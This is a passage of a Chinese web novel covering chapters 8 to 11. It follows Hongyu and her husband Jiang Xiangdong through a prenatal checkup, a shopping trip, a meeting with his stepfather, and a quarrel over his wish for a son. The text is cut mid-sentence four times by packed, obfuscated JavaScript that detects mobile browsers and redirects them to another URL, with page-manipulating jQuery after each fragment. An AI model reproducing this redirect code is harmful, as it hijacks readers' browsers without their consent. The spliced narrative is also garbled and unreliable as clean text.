l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578413|187208||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“是我。”
医生眼里有诧异闪过,她抬头看了眼站着的江向东。
江向东不明所以,只忙说红玉孕反的情况。
医生仔细询问,中途把江向东赶出去给红玉做了检查,还抽了血。
等结果的时间长,快到中午他们才重新去找医生。
医生仔细看了后说孩子一切都好,红玉头晕反胃都是孕吐。
至于什么时候能好,不一定,有可能某一天早晨起来突然就好了,也可能会断断续续持续到生完孩子,甚至有人生产后还有这些症状。
当然,那不是孕吐,而是产后身体的一些反应。
“尽量多歇着,饭菜要均衡有营养,能吃多少吃多少,实在吃不下也不要硬塞,少食多餐也行。”
江向东听得很是认真,就差拿笔记下来,女医生瞥见了,对他多说了句:“怀孕的女人身体不舒服,心情起伏就大,当丈夫的要多体谅多关心,尤其不能发脾气,这样对腹中的孩子也好。”
江向东微微躬着身子,不停地点头说好。
他们走后,护士叹道:“我看这个男人算是好的了。”
不像有的,对自己怀孕的媳妇吆五喝六,来看医生,竟然自己坐凳子,让媳妇站着,看着就来气。
女医生摇了摇头:“那是你没见到他们上次来检查的样子。”
护士:“咋,上次他对媳妇不好?”
“也不是不好,”女医生斟酌了下用词:“就是不像夫妻俩。”
他们上次来时女人拉着一张脸,男人面色也不好,但和这次一样,听医嘱听得挺认真的。
这种人她见多了,只在乎孩子不在乎媳妇。
检查时,男人出去了,她一边做检查一边和女人说话,得知女人是下乡的知青,还以为她是被欺负,才怀上这个孩子的。
她在医院当医生,这种事情多不胜数。
城里来的女知青,年轻漂亮又有学问,某些男人就动了坏心思。
她暗示女人若是被迫的,可以找公安,女人则说他们是正经两口子,出门前吵架了。
这次来倒是很不一样了,女人不再总是皱着眉头,笑盈盈地,眼神明亮,瞧着整个人气质都变了,一看日子就过得顺心如意。
她衷心地替她感到高兴。
在城里,能吃饭的地方只有国营饭店。
他们到的时候正是饭点,店里几乎坐满了,等了会儿才空出两个位置。
江向东赶紧把位置占住,问红玉吃什么。
墙上挂着一块黑板,用粉笔写着菜单,有面食,混沌,还有各种炒菜。
炒菜有荤有素,素的四角左右,荤的都是一块以上。
混沌也不便宜。
有吃这些的钱,不如把钱拿去买肉回家自己做,那样还能多吃点肉。
红玉要了个酸菜面。
江向东去窗口点菜,不一会儿端回来一碗饭,一份青菜肉丝以及一个馒头。
他把饭和肉丝放到红玉面前:“早上就吃的面,我看别人点的青菜肉丝挺香的,就给你换了。”
是挺香的,青菜翠绿,细长条的肉丝上挂着层薄芡,一看就细嫩好吃,也贵。
不过买都买了,只是……
“你就吃馒头?”红玉拧眉。
“馒头好吃,”江向东掰了一小块给红玉:“你尝尝。”
红玉嚼了嚼,甜甜的,是不错。
江向东:“再说了,你肯定吃不完,我吃你剩的就行。”
红玉:……
行吧,也算是节约不浪费。
8. 008
国营饭店旁边不远就有一家理发店。
他们进去时,有人在烫头发,两个师傅围着那人绑卷发杠。
对红玉二人道:“你们等会儿。”
红玉没见过烫头发,想凑近点看是怎么回事,可刚一靠近就闻到股奇怪难闻的味道。
据说有些味道孕妇不能闻,对孩子有害,她立马捂着鼻子退到门口。
江向东见状:“要不我们先去百货大楼?”
百货大楼离得也近,他们骑自行车几分钟就到了。
红玉直奔买布料的柜台,先选了两块柔软亲肤的细棉布,又问售货员给她推荐一块适合给男人做裤子的料子。
江向东连忙说:“我不要。”
红玉看都没看他一眼,只让售货员拿。
“我真不要,”江向东拉了拉红玉的袖子,小声道:“我有裤子,能将就穿。”
他以为红玉是因为在医院他被看不起,所以才要给他买。
“我不在意穿好穿差,被人嫌弃就嫌弃,又不会少块肉。”
“现在能省就省,不是说要存钱买工作吗?”
且医生说了,红玉要补身体,得吃有营养的东西,与其把钱拿来给他做裤子,不如买点好的给红玉吃。
红玉终于开口:“不差这一点。”
江向东还想劝,红玉扭头,淡淡地看他一眼。
这一瞬间,仿佛红玉那根拿来量尺寸的柔软布条再次系在他的脖颈上。
他咽了咽喉咙,直觉告诉他,再说下去,红玉要生气了。
生气了就容易吵架,他不喜欢吵架。而且医生才说了,要顺着她。
于是江向东低头摸了摸鼻子,住口了。
细棉布要贵一点,四角一尺,红玉要了十尺,四元钱。
给江向东做裤子的料子红玉选了质量好的,同样是四角一尺,红玉要了四尺,一块六角。
再加上针线钱,共六元三角五分。
江向东立时就要拿钱,手都放到包里,突然想起个事:“我没拿布票。”
红玉:“我拿了。”
她把钱和票递给售货员。
接过料子,离开这个柜台,江向东低声:“回去我把钱给你。”
红玉斜他:“还有上次衣服料子的钱。”
江向东信了:“好,一起给你。”
这个愣子!
红玉白他一眼,朝前面的柜台走去。
江向东跟在红玉身后,红玉这是不想收他钱的意思吧?
也是,他把陈教授给的五十块钱都给了她呢,看在钱的份上,她也会对他大方一点。
这个柜台是卖刀具的,红玉想买把剪刀来裁剪布料。
上次给江向东做衣服就是借的何婶家的剪刀,总是去借也不太好,且接下来用的时间多,就还是买一把。
售货员拿了几把让红玉挑选,但红玉使惯了国公府里的,对这些都不太看得上。
她要买就想买把好一点的,能用许多年,免得以后重新买,多花钱。
售货员见状:“我这儿还有把剪刀很不错,就是贵。”
她拿出来一个长方形的盒子,不像其他剪刀那样,散放在外面,什么包装都没有。
打开盒子,里面竟然还有层绒布,绒布下才是剪刀,黑铁色,看着就很锋利。
询问过售货员后,红玉拿在手里感受了下。
她手指纤细,但无论是何婶家的,还是售货员先前拿给红玉选的,都很大,更适合男人用。
这把却比寻常的要稍微小一些,更适合女人的手型。
红玉很喜欢,问多少钱。
售货员:“十五元。”
红玉猜到不会便宜,还稳得住。
江向东就很震惊了:“这么贵?”
好在他声音不大。
售货员不在意,解释道:“是贵了点,但这是国外来的,是我们主任去首都进的货,总共才两把,有一把都卖出去了。”
“也就是我们平城小,放在首都卖,得要外汇卷才能买呢。”
江向东还是忍不住道:“可这也太贵了。”
他一年到头天天拿满公分在公社也最多得挣六七十块。
红玉也觉得贵,若她不缺钱,她肯定毫不犹豫地买了,一分价钱一分货,贵也值了,但她偏偏缺钱。
别看她手里似乎有不少钱,可需要用钱的地方更多。
能节约还是节约一点吧。
红玉选了把寻常的,没那么好,但也能用,还便宜。
然后又去给江向东买了一双解放鞋,从头到尾,江向东安安静静。
红玉瞥他:“这次你不说不要了?”
江向东:“我的确没鞋子穿了。”
快到十月了,天气只会一天比一天冷,他身体再好也不能一直穿草鞋。
而且说了也没用,还要被她盯,盯得他心慌,不如不说。
他们在百货大楼逛了一个多小时,买了些杂七杂八的东西。
没办法,家里什么都缺,不得不买。
回到理发店,那人头发居然还没烫好,不过只有一个师傅在给她弄,另外一个是空闲的。
红玉比了长度,在肩膀下面一点点,能编辫子又不至于太长太重。
师傅感慨红玉头发好,问她怎么要剪短。
红玉:“肚子大了不方便。”
师傅建议:“那你剪□□头啊,那个短也好看。”
红玉拒绝了,她还是不能接受那么短的头发。
剪好后,红玉重新编了辫子,只一股,从头顶编鱼骨辫到发尾,干净利落。
她回身,仰头看着江向东,眼里闪烁着灵动:“好看吗?”
江向东点头,认真道:“好看。”
头发短了,五官更为突出,配上她与以往完全不同的神采,仿佛变了个人。
他情不自禁地出声:“红玉?”
红玉眉眼一弯:“嗯?”
江向东轻轻吁了口气:“回家吧。”
自行车停在理发店外,江向东把他们买的东西放到前面的车筐里。
没买棉花,去看了看。新棉花快要分下来了,他们想到时候再来买,直接送去弹。
还能跟生产队里不需要棉花的人家换一点。
说是换,其实就是买,也是常规操作了。
每年按公分,每人或多或少都能分棉花,多的四五两,少的一二两。
这么点,做什么都不够,是以手比较紧或者不需要棉花的人家就会换出去。
红玉低头整理裙摆,怕太散会卷进车轮里。
“向东。”有人喊道。
红玉看去,是个穿中山装的中年男人,身旁还有几个人。见中年男人打招呼,都停了下来,安静地等着。
他们都听命于这个中年男人,或者中年男人的地位比他们都高。
江向东淡淡道:“贺叔。”
贺叔看向红玉,话却是对着江向东说的:“这就是你媳妇红玉吧?”
江向东点头,给红玉介绍:“这是贺叔。”
红玉便跟着喊贺叔。
她不从听说江家有这样的亲戚,想来想去,唯一有可能的就是江向东的继父。
果然,就听到贺叔说:“空了来家里坐坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578414|187208||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,你们妈妈经常念叨你们。”
江向东应下,虽然他们都知道江向东是不会去的。
贺叔明显有事,说几句话就走了。
红玉好奇贺叔的身份,可原主和江向东经常为了潘秀吵架,她一问,估计江向东要以为她要起以前的心思。
但其实红玉也觉得若能通过潘秀的人脉进城很好,那样他们的日子会好过很多,可潘秀毕竟是江向东的母亲,她不了解他们母子间的事,就还是慎言吧。
再说了,现在的日子虽苦,却也不是不能过。
江向东作为丈夫,挺称职的。
傍晚,贺文忠回到家,潘秀正在厨房里忙。
听到开门的声音,她扬声:“马上就好了。”
贺文忠来到厨房,潘秀在热油,旁边放着洗好的青菜。
等油足够烫了,把青菜倒下去,嗤啦几声,油烟四起。
贺文忠把盘子拿过来:“幸苦了。”
潘秀笑笑道:“炒个菜而已,有啥辛苦的。”
贺文忠道:“等过段时间,风头小点,就再把人请回来。”
之前他们家是有保姆的,帮着做做家务做做饭,去年形势不好,就让人回去了。
“千万别,”潘秀压低了声音:“我宁愿自己做,也不想整日提心吊胆。”
两人说了会话,吃饭时贺文忠想起什么道:“我下午在百货大楼附近遇到向东和他媳妇了。”
潘秀面露惊喜,继而担心:“他们怎么样,没吵架吧?”
她只见过红玉一次,就是她得知他们结婚去的那次。
她带了东西,还带了钱,东西是留下了,但钱,向东只要了二十。
他说他爸江有粮也只给了二十。
当时红玉的脸色就不好了,后来她跟汤顺打听,说两人经常吵架。
她知道向东不想见她,也怕去了,小两口吵得更厉害,就没再去。
“吵什么架,”有老母鸡汤,贺文忠把鸡腿夹给潘秀:“他俩挺好的。”
虽说江向东还是以前那副样子,但红玉笑盈盈地,一眼就能看出夫妻俩过得不错。
“我看向东还穿了件新衬衫,衬得人都精神多了。”
潘秀一听,悬着的心放下一点,又觉得结了婚就是不一样,都有新衣服穿了,也愿意穿。
不像以前,她给他买了衣服送去他都要还回来。
.
到家时候不早了,江向东没去上工,他把衣服洗了,再去山里挑了水。
他们生产队不缺吃水,井都有好几个口,河水也干净,有人直接就在河里挑。
江向东以前是挑井水,离得近,今儿他想起山泉水清甜,可能红玉会更喜欢喝,就去山里挑了。
红玉很惊喜,立马烧水泡了碗野菊花茶。
下工的广播响起,就知道五点了,江向东去做晚饭。
他们今儿去看钟表,最便宜的也要三十多,红玉自然舍不得。
出城时路过家肉站,江向东买了两根排骨,剁小了才十来块。
加了番茄一起炖,出锅后洒把细葱花,酸酸的,很开胃。
入了夜,雨又飘了起来。
这时节就是这样,雨水多。
红玉中午没休息,早早就躺上床,快要睡着时江向东翻身:“红玉!”
两人本是背靠背,这下变成了江向东从背后抱着她。
红玉:“嗯?”
“我能拿满公分,还能去山上找些好东西卖钱。”黑暗中,江向东语气格外认真:“我们不靠别人,自己挣钱买工作。”
红玉困得厉害,迷糊着说了声好。
9. 009
次日,阴天。
江向东早早起来去挑了一担山泉水,还弄了些菌子栗子以及野生猕猴桃。
“有点酸,你尝尝看,不喜欢就不吃。”
他之前没摘过猕猴桃就是太酸了,今日路过时,他想起昨晚上的番茄排骨汤红玉吃了不少,就摘了几个。
红玉拿了一个削皮,野生的,实在不大,皮一剥开就闻到股酸味。
若是以往,她该被这气味酸得流口水了,今天却意外觉得很好闻。
尝一口,很清爽,再尝一口。
吃着吃着,红玉忽然想起昨晚上江向东说的那句话。
回来后她明明没有提起潘秀和贺文忠,江向东依然担心她故态复萌,忍不住提醒她。
但这也说明了江向东有多么不愿意靠潘秀进城。
江向东从灶房出来,见猕猴桃被吃得只剩一个了。
他心下一动,都说酸儿辣女,莫非她怀的是个儿子。
是会像他还是像红玉?
红玉不经意间地回头,江向东一直盯着她看。
她以为衣服哪里没穿好,低头看了看,没问题啊。
“你看什么?”她问。
江向东摇头:“没什么。”
一看就没说实话,红玉暗暗翻了个白眼。
饭后,江向东就去上工了。
红玉今儿没去上工,江向东让她不去,她也打算歇两天,说不定她孕反就好了。
半上午,也不知道是几点,红玉又烧水泡了碗野菊花茶。
哎,想当初在国公府里,就她自己用的茶盏都是官窑烧制的,现在却只能拿饭碗泡茶。
正感慨着,外面响起脚步声,一看,是林芝。
“你怎么来了?”
红玉走到门口去扶人,他们家门槛有点高,怕林芝摔了。
林芝打量着红玉,见她气色没有了前天的苍白,说:“你昨天不是去医院了吗,过来看看你。”
她们都是知青嫁乡下人,娘家远得很,她们就相当于彼此的娘家人。
红玉也大概猜到林芝的想法,不然就她们俩的身份――江有粮的亲儿媳妇和继儿媳妇,且江向东和江有粮一家不亲近,最好是不要走得太近。
“没什么事,就是胃口不咋好,正好很久没检查了,就去看看。”红玉道。
“那就好。”林芝摸了摸肚子,脸上浮现出慈爱的笑容:“我过几天也要去趟医院,宁愿花点钱,放心些。”
她面露犹豫,但似乎还是忍不住对红玉抱怨:“你不知道,江涛他妈居然说什么检查没用,说她没检查,生的两个孩子还不是好好的。”
“那她怎么不说有人生出来的孩子嘴唇是破的,有孩子长相怪异,还有孩子养不到一岁就没了。”她越说越气:“还不就是舍不得钱,可没花她的钱。”
说着又羡慕起红玉:“其实你也挺好的,想做什么就能做什么,没人唠叨。”
红玉也这么认为,可田慧到底是江涛的亲妈,她开解道:“婆子妈都这样,你当听不见就好了。”
林芝叹气:“只能这样了。”
忽然她压低了声音,虽然这里只有她们两个,她道:“我听说你那婆子妈就不一样,怀江向东时就坚持去医院检查。”
二十年前,那个时候医院少,乡下与城里几乎是两个世界,乡下人不要说怀孕去医院,就是生了大病也没几人会去。
原主与江向东亲妈潘秀只见过一面,话都没说几句,红玉也不了解她是什么样的人。
但能与人离婚,还嫁进城,过得那么好,就不是寻常人。
“你听谁说的?”红玉问。
她都没听人提过潘秀的事。
林芝笑得狡黠:“还能有谁,我那婆子妈呗。”
嫌她去医院花了钱,夸她自己的同时,不忘嘀咕潘秀几句。
红玉笑了笑,拿了饼干出来招待,问她是喝白水还是野菊花茶,还说:“这是山泉水,泡茶挺好喝的。”
林芝要了茶:“江向东去挑的?我听说山泉水离得远,上山下山又不方便,几乎没人去挑了。”
水是才烧的,装在了热水瓶里,直接就可以用,倒出来热气腾腾的。
林芝见状:“你这热水瓶保温效果这么好?”
“才烧的,”红玉把茶水端给她们:“但保温效果是不错。”
“我想买个新的热水瓶,家里那个都好多年,不保温了。”林芝问:“你家这个是结婚时买的吧?”
红玉点头,是江向东买的,还有搪瓷盆,碗,就连床都是新打的。
以前的实在是不能用了。
都是江向东自己出的钱。
林芝感慨:“江向东对你真挺好的。”
红玉浅浅勾了勾唇,是还可以。
林芝看向旁边凳子上的料子裁得方方正正:“这是做什么?”
红玉:“做两床包被。”
趁她肚子现在不大,赶紧把包被小衣服尿布这些做出来,等肚子大了,人没那么舒服,也没那么方便。
林芝干笑夸:“做得真好。”
她有些不自在,她没做这个,田慧和江有粮结婚后生了一个儿子,才十三岁,当时用的东西都留着,虽旧了,但到底不用重新花钱置办。
可那些东西按说红玉也是可以拿来用的。
她连忙转移话题,两人一直聊到第一道广播响。
乡下,没几个有钟表,为防大家找不到时间,生产队每日早上会播两次广播,一次提醒大家该起床了,一次提醒该去上工了。
中午广播也会响两次,一次是做饭,一次是下工。
傍晚亦然,只是因着时节不同,比如夏天白日长,冬天白日短,会有改动。
江向东去上工了,饭就得红玉来做。
她邀请林芝留下吃午饭,林芝拒绝了。她如果不回去,会有人来找。
送走林芝,红玉去自留地摘了几个辣椒和蒜苗。
天气冷了,雨水也多,辣椒好多都坏了,红玉琢磨着下午来把辣椒都摘回去做泡辣椒,以后拿来炒菜也很好吃。
今儿个中午吃辣椒炒蛋,再煮个老南瓜汤。
家里还有江向东半夜去捉的鱼,红玉不怕杀鱼但担心闻到腥味,孕反会严重就不做鱼,等着江向东傍晚下工回来弄。
先把饭蒸上,再去削老南瓜皮。
这皮厚,削了后口感会更好。
江向东到家,一进屋看到门口凳子上做到一半的包被。
他以为昨天那些料子是红玉给自己买的,他其实是有点不赞同的,红玉衣服挺多的,可红玉不跟他吵架,还孕反不舒服,他就没说什么。
五十块钱都给了,还计较这点干什么。
这被子小小一张,一看就知道是什么。
所以昨天红玉给他买了,给孩子买了,唯独没给她自己买。
进到灶房,红玉正往炒锅里放蒜苗,在辣椒炒蛋里放一点蒜苗会更香更好吃。
江向东去盛饭,把老南瓜汤端出去。
他有点
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578415|187208||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
渴,忍不住先喝了半碗汤,一入口他就发现不对,奇道:“这汤怎么这么甜?”
他们家的老南瓜都是在墙角放着,他扫了眼,是少了一个小南瓜。
可他以前煮南瓜汤没有哪一次有这么甜,跟喝甜水似的,他忍不住又喝了半碗,只觉得一上午的疲惫都在这甜津津的味道中消散了。
红玉端着菜出来,风淡云轻地道:“我加了点糖在里面。”
江向东愣住:“加糖?”
红玉点点头:“老南瓜汤就得要甜一点才好喝。”
江向东从没想过在南瓜汤里放糖,在他看来,老南瓜本来就有甜味,哪里需要放糖,总觉得别扭。
红玉:“你要不喜欢就不吃。”
江向东:“没不喜欢,好吃。”
他又给自己舀了一碗,他以前是不怎么爱吃老南瓜,嫌味道淡,只是这是粮食,能饱肚子,他不能浪费,就硬吃。
现在加了糖,甜甜的,很好吃。
红玉暗笑,国公府里,煮南瓜汤时也会加糖。
只要不是加得太多,主子们哪里吃得出来是南瓜本身甜,还是放了糖的甜。
江向东下午要去上工,中午便小睡会儿。,目光瞥见红玉的肚子,他问:“你想生个儿子还是女儿?”
红玉道:“都好。”
无论是儿子还是女儿,都是她生的,都喜欢。
“你呢?”想到大多数人都重男轻女,她翻身,直视着江向东的眼睛:“你不会只想要儿子,不想要女儿?”
江向东毫不犹豫:“怎么会?”
红玉盯着他不移眼。
江向东莫名心虚,声音都大了:“都是我的种,我肯定都想要都喜欢。”
红玉眉心一拧,嫌他说话粗鄙。
江向东扭头闭眼:“睡了,下午要去担石子修路,累得很。”
红玉却觉得他这是心虚了,冷冷地哼了一声。
江向东等了会儿,才悄悄扭过头来,见红玉睡着了,他轻轻地吐出口浊气。
他当然不会重年轻女,但要是女儿,长大了不是要嫁出去吗,儿子多好,留在他们身边。
是儿子的话,他能带儿子上山打鸟,下河捉鱼,以后干啥活都是父子一起,多好的事。
然而,午睡起来,红玉就不搭理他了。
红玉以前也经常不搭理他,都在他们吵架之后。
可今天不是没吵架么,聊个天也能生气!
江向东不理解,不说他,就是很多女人也是想生儿子吧。
想不通的江向东去问钱大山:“你想生个儿子还是女儿?”
钱大山目光幽怨:“哥,你是不是忘了,我还没结婚。”
江向东瞪他:“我是说你结婚以后?”
钱大山心想他现在想不了那么远的事,他就想找个像嫂子那样的媳妇。
可哥既然问了,他还是想了下:“当然是儿子,打虎亲兄弟,上阵父子兵。我不仅要生儿子,我还要生好几个。”
江向东一脸严肃,批评道:“你这是重年轻女,思想不正确,要不得。”
钱大山:“啊?”
江涛不知什么时候过来了,听见了他们俩的对话,他插话:“我想要个女儿。”
江向东和钱大山齐齐扭头看他。
“你们不觉得女儿很可爱吗?”江涛一脸憧憬地道:“儿子淘气不听话,女儿就不一样了,乖乖巧巧又贴心。”
江向东和钱大山面面相觑,虽然但是,还是想要儿子。
10. 010
“哥,你咋突然说这个,难道嫂子怀的是女儿?”
过了会儿后,钱大山忽然道。
“你该不会又和嫂子吵架了吧?”
他越想越觉得如此,否则好端端的,他哥提这干啥,还说他思想不正确。
钱大山用谴责的眼神看着江向东:“哥,你怎么能这样,这生儿生女……”
他顿了下,本想说这生儿生女与红玉无关,话到嘴边,想到他曾听说有女人喝了药就生了儿子,是该与女人有关的吧。
于是他改口:“有嫂子给你当媳妇,给你生孩子就不错了,你还挑什么挑。”
江向东捡起一块泥巴,冲着钱大山就砸过去,凶巴巴地道:“有你什么事,再说了,谁说我媳妇怀的是女儿,她怀的是儿子,儿子!”
钱大山灵活躲开:“哥,你现在这样,就像那什么恼成什么怒。”
“恼羞成怒。”江涛补充:“是个成语。”
江向东白了江涛一眼,有他什么事。
“对,就是恼羞成怒。”钱大山重重点头,难得夸了江涛一句:“这读了高中的就是不一样哈。”
他还对江向东道:“哥,你当初就应该去读高中的。”
江涛是读了高中的,江向东初中毕业就没读了,不是江有粮不给钱,是他自己不愿意读,谁来劝都不读。
至于钱大山,他就没上过学,会认的字都是江向东教他的。
江向东:“滚。”
钱大山撇嘴:“哥,你脾气太不好了,不怪嫂子要跟你吵。”
越说越来劲。
江向东撸起袖子,眼看这对没有血缘的兄弟要比划比划,江涛忽然道:“我听说决定生儿子还是生女儿的不是女人而是男人。”
江向东与钱大山同时愣住:“男人?”
两人异口同声,又交换了个眼神,怎么可能是男人决定的,孩子是女人生的啊。
“真的,有次林芝去医院,我听医生说的。”江涛看出他们不信:“说是女人只提供孩子的一半,另外决定孩子性别的一半由男人提供。”
医生说的话肯定是正确的。
江向东和钱大山再交换眼神。
“哥,我明白了。”钱大山一本正经地道:“你要是行,嫂子就生儿子,你要是不行,嫂子就生女儿。”
江向东四下看了看,有啥能把钱大山揍一顿。
钱大山替红玉感到生气:“那你还和嫂子吵架。”
江向东气得瞪眼:“谁说我和她吵架了,你看见了?”
钱大山嘴角嗫喏了下,心想这次没看见,以前看见过啊。
再和钱大山待在一起,他怕是要被气死了。
江向东走远点,过了会儿,钱大山凑过来。
“哥,”他语重心长地道:“嫂子真挺好的,又是给你做衣服又是给你买裤子买鞋子,就算怀的是女儿,你也不能和她吵。”
你媳妇才怀的是女儿!
女儿!
江向东抬头,对上钱大山那诚挚的眼神,他话峰一转:“我想挣钱,你有什么办法没?”
“我能有啥办法了,都是哥你带我挣钱啊。”钱大山道:“哥,你缺钱啊,我这儿有。”
江向东摆手:“我就是想多挣点钱。”
他要是有足够多的钱,红玉和他就不会被人瞧不起,红玉就能买那把她喜欢的剪刀,也不会舍不得给自己买衣服。
钱大山:“那要不我们去山上转转?”
他手里的那些钱除了每年生产队分的,其他的都是跟着哥上山找好东西换的钱。
江向东看了眼河对面的大山:“不行,你嫂子怀着孕,人不舒服,我不能走远了。”
山里外面的好东西都被找没了,要想有收获就得去深山,一去短则两三天,长则十天半个月,他不放心留红玉一个人在家。
钱大山叹:“哎,要是哥你家里有个长辈就好了,能照顾嫂子,以后孩子生了还能帮着带孩子。”
江向东还没想到孩子出生以后的事,现在想想,以后红玉要带孩子,基本上不了工,他就更得想法子多挣点钱。
下工后,江向东往山上走。
钱大山:“哥,你要上山?”
江向东:“去摘点猕猴桃,你嫂子最近喜欢吃酸的。”
只摘果子,要不了多久,到家时红玉在翻晾在簸萁上的辣椒。
这是她下午摘的。
拿来泡的辣椒必须得好,不能有一丁点坏的,辣椒梗也要留着。
泡之前还得洗一遍,再晾干水分,如此才能放进泡菜坛子。
江向东走过来,随口说:“拿来泡啊?”
红玉没搭理他,甚至转了个身,背对着向东,明显是看都不想看江向东一眼。
之前不知道,江向东竟然是个重男轻女的。
或许没那么严重,他只是更喜欢儿子,但生男生女这种事是红玉能够保证的吗?
万一她肚子里是个女儿呢?
或许以江向东的品行不至于对女儿不好,但他肯定会想要她再生个儿子。
若是如此,她就要一直生,直到生出儿子么?
红玉自然不会同意,生了这个,若她还要生,那肯定是她自己想要,而不是因为江向东。
所以她必须得让江向东把这个毛病改了。
至少目前来看,江向东的其他方面她还是满意的。
“还气呢?”江向东无奈道:“我不说了么,都是我的孩子,我肯定是都喜欢。”
红玉冷哼一声,施施然地进屋去了。
江向东跟在她身后,语气温和:“女儿挺好的,很可爱,乖乖巧巧又贴心。”
红玉回头,他们家地基较高,进门是有阶梯的。
她站在最高的那处台阶上,居高临下地看着江向东:“要是不可爱,不乖巧,不贴心呢?”
江向东睁大眼,反问:“我们两个都不丑,她怎么可能不可爱?”
红玉无语,但瞅着江向东深邃的眉眼,她没有反驳。
“不乖巧也不要紧,凶点好,免得被人欺负。”
说着,好似已经确定红玉肚子里是个女儿,而非儿子。
“不贴心就不贴心,反正儿子也不贴心,她以后自己过得好就行。”
这还像话,红玉下巴微抬:“去杀鱼吧。”
饭她已经煮好了,晚上要吃的青菜也淘洗过了,只等着江向东回来把鱼处理再做好就能吃夜饭。
江向东悄无声息地松了口气,他把野猕猴桃拿给红玉,树藤编的篮子里还有好些菌子。
与之前江向东捡的菌子不同,这个菌子菌杆是灰白色,胖乎乎的,菌盖是黑色,且都没开伞。
像这样的菌子,没开伞的都比开伞味道好很多。
“这是什么菌子?”红玉拿起一根闻了闻,有淡淡的清香。
“鸡丝菇,”江向东面露喜悦:“这种菇味道很好,就是少,不容易碰到。”
多个菜自然是好的,红玉接
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578416|187208||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过去清洗,问江向东打算怎么吃。
“熬鸡丝菇油,”江向东早就想好了:“拿来拌面拌饭味道都很好。”
还可以和肉一起炒或者炖鸡汤,奈何家里没肉,炖鸡也来不及,他也舍不得。
一只老母鸡要卖四五块呢。
鸡丝菇难得,红玉一根一根地洗,她这边弄好时,江向东也把鱼杀好了。
先熬鸡丝菇油,往锅里倒足够多的花生油。
这些花生油是拿了陈教授给的油票买的,也不多,红玉不由得心疼:“倒这么多吗?”
江向东:“鸡丝菇有这么多,油少了不好吃。”
油足够热后,把洗干净的鸡丝菇倒进去,一直熬,熬到鸡丝菇变黄变干,再放点花椒辣椒进去调味,就可以盛出来了。
红玉忍不住吞了下口水,香气扑鼻。
江向东夹了根鸡丝菇喂给红玉,很有嚼劲,像是在吃肉干。
此时锅油润润的,正好拿来煎鱼,煮出来的鱼汤都带着鸡丝菇的香味。
吃饭时,红玉照着江向东说的,舀了点鸡丝菇油在碗里,再夹两筷子的鸡丝菇拌在一起,吃进嘴里,口感丰富,堪称美味。
江向东看着她:“好吃不?”
红玉点点头,眼睛亮晶晶地:“好吃。”
江向东略微得意:“这一手熬鸡丝菇油是跟我奶学的,她熬得更好。”
江向东不曾跟原主细说过他以前的事,红玉顺势问:“你几岁跟着奶奶搬到这边的?”
江向东:“九岁。”
“才九岁,”红玉皱眉,一边给江向东夹了一筷子的鸡丝菇一边道:“爸也太狠心了。”
提到江有粮,江向东的语气明显冷淡了许多:“不是他赶我走的,是我奶做主带我搬过来。”
红玉不解:“为什么?”
虽说有了继母,但有奶奶在,便是住在那边也不会让他吃亏才是。
江向东摇摇头,不想多说。
红玉心中自有猜测,奶奶搬来这边肯定是为了江向东好,那边家里只有那么几个人,谁会让江向东过得不好显而易见。
作为家中的女主人,想为难一个不到十岁的孩子太简单了,有时候甚至她不需要做什么,只需要一个眼神。
难怪江向东几乎是视田慧于无物,昨日遇见贺文忠却能喊一声贺叔。
红玉对江向东生了两分怜惜,心中因为他想生儿子的气几乎快要散了,但她还是问了句――
“要是我这胎生的是女儿,还要继续生吗?”
“生啊。”
江向东一脸恍然,仿佛发现了什么惊喜。
对啊,这胎不是儿子,再生不就行了,何必纠结这一胎是男是女。
钱大山那句“我不仅要生儿子,还要生好几个”在他脑海里回荡。
“多生几个,儿子再生几个,这样……”
看着红玉骤然冷下来的脸,江向东声音越来越小。
哪里出了问题,她又生气了。
怎么又生气了?
江向东很疑惑,难道她只想生一个,可万一是女儿怎么办?
而且多子多福不是吗?
虽然不明白,但直觉让江向东放下碗筷,轻咳两声:“其实女儿挺好的。”
似乎怕红玉不信,他十分诚恳地道:“真的,我不骗你。”
红玉冷冷一笑:“你最好祈祷我肚子里的是个儿子。”
话落,起身离开。
饭都不吃了。
11. 011
红玉生着气,江向东也好不到哪里去。
她嫌他更想要儿子,可他不也说了,女儿也很好,他会喜欢女儿。
这不是假话,就算他更想要儿子,女儿也是他亲生的,他能不喜欢?
再说了,谁不想要儿子,没儿子以后他们两个老了,谁养他们。
